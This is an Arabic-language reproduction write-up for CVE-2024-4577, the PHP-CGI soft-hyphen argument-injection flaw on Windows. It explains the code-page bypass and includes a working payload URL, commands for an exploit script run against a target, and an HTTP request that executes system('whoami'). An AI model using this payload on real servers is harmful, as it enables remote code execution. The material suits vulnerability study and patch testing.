
إعادة إنتاج CVE: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 هي ثغرة أمنية حرجة تسمح بتنفيذ الأوامر عن بُعد في تنفيذ PHP CGI على ويندوز. تتجاوز الإصلاح الأصلي لـ CVE-2012-1823 عبر استغلال تحويل صفحة الأكواد "Best-Fit" في ويندوز لتهريب وسيطات سطر الأوامر عبر سلسلة استعلام CGI.
عندما يعمل PHP كوحدة CGI (php-cgi.exe)، فإنه يوزع سلسلة الاستعلام كوسيطات لسطر الأوامر. يقوم الإصلاح الأصلي لـ CVE-2012-1823 بحظر الحرف - (علامة الناقص، 0x2D) لمنع حقن الوسيطات. ومع ذلك، على أنظمة ويندوز التي تستخدم صفحات أكواد معينة (على سبيل المثال: الصينية، اليابانية، الكورية)، تقوم ميزة تحويل الأحرف "Best-Fit" بتحويل أحرف Unicode محددة إلى ما يقابلها من ASCII بشكل تقريبي.
الاختراق الرئيسي يستخدم حرف soft-hyphen (0xAD / U+00AD). عندما يمرر طلب %AD في سلسلة الاستعلام وكان الإعداد المحلي للخادم يستخدم صفحة أكواد "Best-Fit"، يقوم ويندوز داخليًا بتحويل 0xAD إلى (علامة الناقص)، مما يسمح للمهاجم بحقن وسيطات PHP على الرغم من المرشح.
0x2Dمثال: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input يصبح -d allow_url_include=1 -d auto_prepend_file=php://input.
متطلبات التكوين:
php-cgi.exemod_cgi أو mod_cgid مهيأةScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
الحمولة المصممة تحقن توجيهات تكوين PHP عبر سلسلة الاستعلام:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe